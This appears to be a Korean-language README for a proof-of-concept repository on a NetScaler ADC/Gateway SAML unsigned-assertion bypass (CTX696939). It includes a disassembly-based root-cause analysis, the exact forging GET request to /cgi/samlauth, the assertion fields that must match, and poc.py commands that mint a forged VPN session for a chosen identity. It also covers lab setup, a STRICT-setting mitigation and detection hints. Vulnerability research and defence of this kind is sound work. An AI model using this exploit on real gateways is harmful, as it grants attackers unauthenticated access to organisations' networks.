
NetScaler ADC/Gateway SAML 서명되지 않은 어서션 우회 (HTTP-Redirect 바인딩 경유, CTX696939) - 근본 원인 분석 + PoC
Citrix NetScaler ADC / NetScaler Gateway에서 GET /cgi/samlauth의 SAML HTTP-Redirect 바인딩 핸들러를 통한 인증되지 않은 세션 위조. CVSS 4.0 9.3, CWE-288.
Bulletin CTX696939 (2026-08-19), 해결 방법 없음. 최초 보고에 대한 크레딧은 Samarth Vashisht(JPMorgan Chase 침투 테스트 팀)에게 있으며, 근본 원인 분석과 이 저장소의 코드는 저의 작업입니다.
영향: 14.1은 14.1-73.32 이전, 13.1은 13.1-63.21 이전. 해당 두 빌드에서 수정됨.
패킷 엔진 nsppe에서 두 가지 문제가 함께 발생합니다.
1. 리다이렉트 바인딩이 strict 플래그를 해제한 상태로 어서션을 파싱합니다.
SAML 응답 파서(sub_b40a50)의 모든 호출 지점은 호출 전에 "strict" 인자를 설정합니다. POST 바인딩 경로(브라우저가 SAML 응답에 실제로 사용하는 방식)는 이를 설정된 상태로 전달합니다. HTTP-Redirect 바인딩 경로는 그렇지 않습니다:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- the parser
이것이 CWE-288 의미에서의 대체 경로입니다. 동일한 요청 표면, 더 약한 파서 호출, SAMLResponse 쿼리 매개변수가 있는 GET을 보낼 수 있는 모든 사람이 접근 가능합니다.
2. 서명되지 않은 어서션 게이트가 기본 구성을 ALLOW로 처리합니다.
리다이렉트 핸들러 내부에서 요청에 SigAlg/Signature가 없을 때 rejectUnsignedAssertion에 대한 구성 워드가 다음과 같이 비교되고 분기됩니다:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- jumps to the ACCEPT path
워드 값: 2 = rejectUnsignedAssertion ON(기본값), 3 = STRICT.
je는 2를 허용으로 보냅니다. 거부 로그 라인에 도달하는 것은 STRICT뿐입니다:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
따라서 기본 구성 박스에서 리다이렉트 바인딩에 전달된 서명되지 않은 어서션은 (strict 해제 상태로) 파싱되고, 서명되지 않은 게이트를 (ON이 허용으로 오독되어) 통과한 다음, 일반적인 사후 파싱 단계를 실행합니다: SAML 작업 구성에 대한 발급자/대상/주체 검사, 그 다음 공격자가 제공한 필드에서 세션 구성. 해당 경로 어디에도 다이제스트나 RSA 검증이 없습니다. POST 바인딩은 같은 방식으로 영향을 받지 않습니다 — 파서에 strict를 전달하고 서명되지 않은 입력을 제대로 거부합니다.
Bulletin에 따른 전제 조건, 바이너리로 확인됨: 14.1-43.56 / 13.1-61.28 이후 빌드는 Gateway 또는 AAA vserver에 바인딩된 SAML 작업이 필요합니다(일반적인 SAML SSO 설정이므로 대부분의 SAML 배포가 해당됨). 이전 빌드는 vserver만으로 경로를 등록합니다.
GET 하나. <ds:Signature>가 전혀 없는 SAML Response를 만들고 DEFLATE + base64로 인코딩한 후 전송:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
대상의 SAML 작업 구성과 일치해야 하는 값: 어서션 Issuer = IdP 엔터티 ID, Audience = SP 엔터티 ID, Recipient/Destination = ACS URL, 트랜잭션 설정에서는 활성 AuthnRequest의 InResponseTo. --mint는 게이트웨이 자체의 사전 인증 로그인 리다이렉트를 탐색하여 이를 캡처합니다(Location 헤더의 SAMLRequest에 모두 포함됨). /vpn/으로의 302와 실제 NSC_AAAC / NSC_TASS 쿠키(xyz 삭제 마커가 아닌)는 넣은 NameID로 위조된 세션입니다.
pip install requests
# 엔드포인트가 존재하고 GET 바인딩이 SAMLResponse를 전혀 처리하는지 확인
python3 poc.py https://vpn.target.com --check-only
# 비침습적 구성 프로브: 의도적으로 잘못된 ISSUER가 있는 서명되지 않은 어서션.
# 'Malformed Assertion' (0xe0005) -> STRICT, 이 벡터에 취약하지 않음
# issuer/policy 오류 (0xe0012) -> 기본 구성, 취약함; 세션 생성 안 됨
python3 poc.py https://vpn.target.com --safe-oracle
# 전체 체인(승인된 대상만): SP 체인 생성, 위조, 한 번 검증
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle는 두 구성이 세션 형태의 어떤 일이 발생하기 전에 서로 다른 오류 페이지를 반환하기 때문에 존재하며, 이는 방어자가 실제 IdP를 건드리지 않고 자체 점검할 수 있는 방법이기도 합니다. 자신의 장비에 대해 실행하세요.
demo/demo.gif(demo.mp4 및 asciinema play로 재생하려면 demo/demo.cast도 있음): docker 이미지에서 나온 영향 빌드, word-2 기본 구성, 배포된 nsppe에서 디스어셈블된 두 바이너리 분기, PoC 엔드포인트 확인. 마지막 단계인 세션 발급은 라이선스가 있는 VPX가 필요합니다 — CPX Express는 라이선스 계층에서 AAA 세션을 거부합니다 — 이는 VPX가 있을 때 lab/record-demo.sh가 캡처하는 내용입니다.
lab/setup-cpx.sh는 docker에서 정확히 영향 받은 빌드를 실행합니다:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
그리고 rejectUnsignedAssertion ON이 있는 SAML 작업, 정책, Gateway vserver를 구성합니다. 어렵게 배운 두 가지 주의사항:
/cgi/samlauth를 제공하지만 모든 요청은 480 Login exceeds maximum allowed users에 도달합니다. 구성 + 엔드포인트 + 바이너리 상태를 재현하기에는 충분하지만 최종 세션 쿠키는 아닙니다.lab/record-demo.sh가 전체 asciinema 시퀀스를 기록합니다: 버전, 구성, safe-oracle, 위조 세션, STRICT 음성 대조.위의 배포 바이너리 오프셋은 해당 이미지에서 직접 가져온 것입니다:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT는 취약한 경로에서 리다이렉트 벡터를 차단합니다(word==3으로 만듦). STRICT는 또한 박스가 IdP에서 기대하는 것(Response + Assertion 서명 요구 사항)을 변경한다는 점에 유의하세요. 이것이 아마도 Citrix가 ON을 기본값으로 제공하고 "그냥 STRICT로 설정"이 모든 사람에게 깔끔한 해결 방법이 아닌 이유일 것입니다.SAMLResponse를 전달하는 /cgi/samlauth 요청(리다이렉트 바인딩 응답은 실제 환경에서 드묾 — 브라우저는 POST함), 서명되지 않은 페이로드, 위의 오류 페이지 차이.승인된 보안 테스트 전용: 자신의 실습 환경 또는 승인된 프로그램의 범위에 명시적으로 포함된 대상. 저자는 Citrix 또는 원래 보고 팀과 관련이 없습니다.
MIT 라이선스, LICENSE 참조.